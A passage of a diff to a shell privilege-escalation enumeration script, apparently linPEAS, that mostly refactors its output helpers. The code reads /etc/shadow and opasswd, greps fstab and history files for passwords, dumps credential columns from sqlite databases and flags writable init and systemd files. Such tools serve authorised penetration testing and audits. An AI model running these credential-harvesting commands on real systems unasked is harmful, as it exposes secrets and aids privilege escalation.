$wgroups ')' ')' ')'`" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi fi echo "" ##-- IF) Files (scripts) in /etc/init.d/ - printf $Y"[+] "$GREEN"Permissions in init, init.d, systemd, and rc.d\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d\n"$NC + print_2title "Permissions in init, init.d, systemd, and rc.d" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d" if [ ! "$MACPEAS" ]; then #Those folders don´t exist on a MacOS - if [ -w "/etc/init/" ]; then echo "You have write privileges over /etc/init/" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ "`find /etc/init/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/init/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ -w "/etc/init.d/" ]; then echo "You have write privileges over /etc/init.d/" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ "`find /etc/init.d/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/init.d/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ -w "/etc/rc.d/init.d" ]; then echo "You have write privileges over /etc/rc.d/init.d" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ "`find /etc/rc.d/init.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/rc.d/init.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ -w "/usr/local/etc/rc.d" ]; then echo "You have write privileges over /usr/local/etc/rc.d" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ "`find /usr/local/etc/rc.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /usr/local/etc/rc.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ -w "/etc/rc.d" ]; then echo "You have write privileges over /etc/rc.d" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ "`find /etc/rc.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/rc.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ -w "/etc/systemd/" ]; then echo "You have write privileges over /etc/systemd/" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ "`find /etc/systemd/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/systemd/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ -w "/lib/systemd/" ]; then echo "You have write privileges over /lib/systemd/" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi - if [ "`find /lib/systemd/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /lib/systemd/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,"; fi + if ! [ "$IAMROOT" ] && [ -w "/etc/init/" ]; then echo "You have write privileges over /etc/init/" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ "`find /etc/init/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/init/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ -w "/etc/init.d/" ]; then echo "You have write privileges over /etc/init.d/" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ "`find /etc/init.d/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/init.d/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ -w "/etc/rc.d/init.d" ]; then echo "You have write privileges over /etc/rc.d/init.d" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ "`find /etc/rc.d/init.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/rc.d/init.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ -w "/usr/local/etc/rc.d" ]; then echo "You have write privileges over /usr/local/etc/rc.d" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ "`find /usr/local/etc/rc.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /usr/local/etc/rc.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ -w "/etc/rc.d" ]; then echo "You have write privileges over /etc/rc.d" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ "`find /etc/rc.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/rc.d -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ -w "/etc/systemd/" ]; then echo "You have write privileges over /etc/systemd/" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ "`find /etc/systemd/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /etc/systemd/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ -w "/lib/systemd/" ]; then echo "You have write privileges over /lib/systemd/" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if ! [ "$IAMROOT" ] && [ "`find /lib/systemd/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges over `find /lib/systemd/ -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')'`" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi fi echo "" ##-- IF) Hashes in passwd file - printf $Y"[+] "$GREEN"Hashes inside passwd file? ........... "$NC - if [ "`grep -v '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null`" ]; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + print_list "Hashes inside passwd file? ........... " + if [ "`grep -v '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null`" ]; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi ##-- IF) Writable in passwd file - printf $Y"[+] "$GREEN"Writable passwd file? ................ "$NC - if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," - elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," - elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," + print_list "Writable passwd file? ................ " + if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," else echo_no fi ##-- IF) Credentials in fstab - printf $Y"[+] "$GREEN"Credentials in fstab/mtab? ........... "$NC - if [ "`grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null`" ]; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + print_list "Credentials in fstab/mtab? ........... " + if [ "`grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null`" ]; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi ##-- IF) Read shadow files - printf $Y"[+] "$GREEN"Can I read shadow files? ............. "$NC - if [ "`cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null`" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + print_list "Can I read shadow files? ............. " + if [ "`cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null`" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi ##-- IF) Read opasswd file - printf $Y"[+] "$GREEN"Can I read opasswd file? ............. "$NC + print_list "Can I read opasswd file? ............. " if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" else echo_no fi ##-- IF) network-scripts - printf $Y"[+] "$GREEN"Can I write in network-scripts? ...... "$NC - if [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," - elif [ "`find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges on `find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null`" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," + print_list "Can I write in network-scripts? ...... " + if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ "`find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null`" ]; then echo "You have write privileges on `find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null`" | sed -${E} "s,.*,${SED_RED_YELLOW}," else echo_no fi ##-- IF) Read root dir - printf $Y"[+] "$GREEN"Can I read root folder? .............. "$NC + print_list "Can I read root folder? .............. " (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no echo "" - + ##-- IF) Root files in home dirs - printf $Y"[+] "$GREEN"Searching root files in home dirs (limit 30)\n"$NC - (find $HOMESEARCH /Users -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;31m&${C}[0m,") || echo_not_found + print_2title "Searching root files in home dirs (limit 30)" + (find $HOMESEARCH /Users -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${SED_RED},") || echo_not_found echo "" ##-- IF) Others files in my dirs if ! [ "$IAMROOT" ]; then - printf $Y"[+] "$GREEN"Searching folders owned by me containing others files on it\n"$NC - (find / -type d -user "$USER" -d 1 -not -path "/proc/*" 2>/dev/null | while read d; do find "$d" -maxdepth 1 ! -user "$USER" -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed "s,root,${C}[1;13m&${C}[0m,g" + print_2title "Searching folders owned by me containing others files on it (limit 100)" + (find / -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed "s,root,${C}[1;13m&${C}[0m,g" echo "" fi ##-- IF) Readable files belonging to root and not world readable if ! [ "$IAMROOT" ]; then - printf $Y"[+] "$GREEN"Readable files belonging to root and readable by me but not world readable\n"$NC - (find / -type f -user root ! -perm -o=r 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${C}[1;31m&${C}[0m,"; fi; done) || echo_not_found + print_2title "Readable files belonging to root and readable by me but not world readable" + (find / -type f -user root ! -perm -o=r 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found echo "" fi - - ##-- IF) Modified interesting files into specific folders in the last 5mins - printf $Y"[+] "$GREEN"Modified interesting files in the last 5mins (limit 100)\n"$NC - find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${C}[1;31m&${C}[0m," + + ##-- IF) Modified interesting files into specific folders in the last 5mins + print_2title "Modified interesting files in the last 5mins (limit 100)" + find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED}," echo "" ##-- IF) Writable log files - printf $Y"[+] "$GREEN"Writable log files (logrotten) (limit 100)\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation\n"$NC + print_2title "Writable log files (logrotten) (limit 100)" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation" logrotate --version 2>/dev/null || echo_not_found "logrotate" lastWlogFolder="ImPOsSiBleeElastWlogFolder" logfind=`find / -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 100` printf "%s\n" "$logfind" | while read log; do - if [ -w "$log" ] || [ `echo "$log" | grep -E "$Wfolders"` ]; then #Only print info if something interesting found + if ! [ "$IAMROOT" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && [ `echo "$log" | grep -E "$Wfolders"` ]; then #Only print info if something interesting found if [ "`echo \"$log\" | grep \"You_can_write_more_log_files_inside_last_directory\"`" ]; then printf $ITALIC"$log\n"$NC; - elif [ -w "$log" ] && [ "`command -v logrotate 2>/dev/null`" ] && [ "`logrotate --version 2>&1 | grep -E ' 1| 2| 3.1'`" ]; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case - elif [ -w "$log" ]; then echo "Writable: $log"; - elif [ "`echo \"$log\" | grep -E \"$Wfolders\"`" ] && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${C}[1;31m&${C}[0m,g"; + elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "`command -v logrotate 2>/dev/null`" ] && [ "`logrotate --version 2>&1 | grep -E ' 1| 2| 3.1'`" ]; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case + elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log"; + elif ! [ "$IAMROOT" ] && [ "`echo \"$log\" | grep -E \"$Wfolders\"`" ] && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g"; fi fi done @@ -3113,66 +3038,65 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then echo "" ##-- IF) Files inside my home - printf $Y"[+] "$GREEN"Files inside $HOME (limit 20)\n"$NC + print_2title "Files inside $HOME (limit 20)" (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found echo "" ##-- IF) Files inside /home - printf $Y"[+] "$GREEN"Files inside others home (limit 20)\n"$NC + print_2title "Files inside others home (limit 20)" (find $HOMESEARCH /Users -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found echo "" ##-- IF) Mail applications - printf $Y"[+] "$GREEN"Searching installed mail applications\n"$NC + print_2title "Searching installed mail applications" ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" echo "" ##-- IF) Mails - printf $Y"[+] "$GREEN"Mails (limit 50)\n"$NC - (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${C}[1;31m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m,g" | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m,g" | sed "s,$USER,${C}[1;31m&${C}[0m,g" | sed "s,root,${C}[1;32m&${C}[0m,g") || echo_not_found + print_2title "Mails (limit 50)" + (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g" | sed "s,root,${SED_GREEN},g") || echo_not_found echo "" ##-- IF) Backup folders - printf $Y"[+] "$GREEN"Backup folders\n"$NC - printf "%s\n" "$backup_folders" | while read b ; do - ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${C}[1;31m&${C}[0m,g"; + print_2title "Backup folders" + printf "%s\n" "$backup_folders" | while read b ; do + ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g"; ls -l "$b" 2>/dev/null && echo "" done echo "" ##-- IF) Backup files - printf $Y"[+] "$GREEN"Backup files (limited 100)\n"$NC - backs=`find / -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null` - printf "%s\n" "$backs" | head -n 100 | while read b ; do - if [ -r "$b" ]; then - ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${C}[1;31m&${C}[0m,g"; - fi; + print_2title "Backup files (limited 100)" + backs=`find / -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null` + printf "%s\n" "$backs" | head -n 100 | while read b ; do + if [ -r "$b" ]; then + ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g"; + fi; done echo "" ##-- IF) DB files - printf $Y"[+] "$GREEN"Searching tables inside readable .db/.sql/.sqlite files (limit 100)\n"$NC - dbfiles=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_OPT\n$FIND_USR\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -E '.*\.db$|.*\.sqlite$|.*\.sqlite3$' | grep -E -v '/man/.*|/usr/.*|/var/cache/.*' | head -n 100) + print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)" FILECMD="`command -v file 2>/dev/null`" - if [ "$dbfiles" ]; then - printf "%s\n" "$dbfiles" | while read f; do + if [ "$PSTORAGE_DATABASE" ]; then + printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do if [ "$FILECMD" ]; then - echo "Found: `file \"$f\"`" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${C}[1;31m&${C}[0m,g"; + echo "Found: `file \"$f\"`" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; else - echo "Found: $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${C}[1;31m&${C}[0m,g"; + echo "Found: $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g"; fi done SQLITEPYTHON="" - printf "%s\n" "$dbfiles" | while read f; do + printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do if ([ -r "$f" ] && [ "$FILECMD" ] && [ "`file \"$f\" | grep -i sqlite`" ]) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC if [ "`command -v sqlite3 2>/dev/null`" ]; then tables=`sqlite3 $f ".tables" 2>/dev/null` - #printf "$tables\n" | sed "s,user.*\|credential.*,${C}[1;31m&${C}[0m,g" + #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" elif [ "`command -v python 2>/dev/null`" ] || [ "`command -v python3 2>/dev/null`" ]; then SQLITEPYTHON=`command -v python 2>/dev/null || command -v python3 2>/dev/null` tables=`$SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null` - #printf "$tables\n" | sed "s,user.*\|credential.*,${C}[1;31m&${C}[0m,g" + #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" else tables="" fi @@ -3189,8 +3113,8 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then #Check found columns for interesting fields INTCOLUMN=`echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt"` if [ "$INTCOLUMN" ]; then - printf $B" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${C}[1;31m&${C}[0m,g" - printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${C}[1;31m&${C}[0m,g" + printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g" + printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g" (sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head fi done @@ -3202,72 +3126,36 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then echo "" ##-- IF) Web files - printf $Y"[+] "$GREEN"Web files?(output limit)\n"$NC + print_2title "Web files?(output limit)" ls -alhR /var/www/ 2>/dev/null | head ls -alhR /srv/www/htdocs/ 2>/dev/null | head ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head echo "" - ##-- IF) Interesting files - printf $Y"[+] "$GREEN"Readable hidden interesting files\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#read-sensitive-data\n"$NC - fils=$(echo "$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_MNT\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -E '\.msmtprc|\.env|\.google_authenticator|\.recently-used.xbel|\.lesshst|.*_history|\.sudo_as_admin_successful|\.profile|.*bashrc|.*httpd\.conf|.*\.plan|\.htpasswd|\.gitconfig|\.git-credentials|\.git|\.svn|\.rhosts|hosts\.equiv') - printf "%s\n" "$fils" | while read f; do - if [ -r "$f" ]; then - ls -ld "$f" 2>/dev/null | sed "s,\.msmtprc|\.env|.google_authenticator|_history|\.lesshst|.recently-used.xbel|\.sudo_as_admin_successful|.profile|bashrc|httpd.conf|\.plan|\.htpasswd|.gitconfig|\.git-credentials|.git|.svn|\.rhosts|hosts.equiv|\.ldaprc,${C}[1;31m&${C}[0m," | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed "s,root,${C}[1;31m&${C}[0m,g"; - if [ "`echo \"$f\" | grep \"_history\"`" ]; then - printf $GREEN"Searching possible passwords inside $f (limit 100)\n"$NC - cat "$f" | grep -aE "$pwd_inside_history" | sed '/^.\{150\}./d' | sed -${E} "s,$pwd_inside_history,${C}[1;31m&${C}[0m," | head -n 100 - echo "" - elif [ "`echo \"$f\" | grep \"httpd.conf\"`" ]; then - printf $GREEN"Checking for creds on $f\n"$NC - cat "$f" | grep -v "^#" | grep -Ev "\W+\#|^#" | grep -E "htaccess|htpasswd" | grep -v "^$" | sed -${E} "s,htaccess.*|htpasswd.*,${C}[1;31m&${C}[0m," - echo "" - elif [ "`echo \"$f\" | grep \"htpasswd\"`" ]; then - printf $GREEN"Reading $f\n"$NC - cat "$f" | grep -v "^#" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - echo "" - elif [ "`echo \"$f\" | grep \"ldaprc\"`" ]; then - printf $GREEN"Reading $f\n"$NC - cat "$f" | grep -v "^#" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - echo "" - elif [ "`echo \"$f\" | grep \"\.env\"`" ]; then - printf $GREEN"Reading $f\n"$NC - cat "$f" | grep -v "^#" | sed -${E} "s,[pP][aA][sS][sS].*,${C}[1;31m&${C}[0m," - echo "" - elif [ "`echo \"$f\" | grep \"\.msmtprc\"`" ]; then - printf $GREEN"Reading $f\n"$NC - cat "$f" | grep -v "^#" | sed -${E} 